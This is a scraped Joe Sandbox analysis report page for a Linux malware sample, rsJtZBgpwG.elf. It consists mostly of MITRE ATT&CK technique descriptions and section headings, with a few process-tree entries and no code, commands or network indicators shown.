Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may stop or disable services on a system to render those services unavailable to legitimate users. Stopping critical services or processes can inhibit or stop response to an incident or aid in the adversary's overall objectives to cause damage to the environment.
Tactics:	Impact
Data Sources:	Command: Command Execution, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Termination, Service: Service Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report rsJtZBgpwG.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

DNS Queries

DNS Answers

HTTP Packets

System Behavior

Analysis Process: dash PID: 5468, Parent PID: 3633

General

Chronological Activities

Analysis Process: rm PID: 5468, Parent PID: 3633

General

Chronological Activities

Analysis Process: dash PID: 5469, Parent PID: 3633

General

Chronological Activities

Analysis Process: rm PID: 5469, Parent PID: 3633

General

Chronological Activities

Analysis Process: rsJtZBgpwG.elf PID: 5478, Parent PID: 5403

General

Linux Analysis Report
rsJtZBgpwG.elf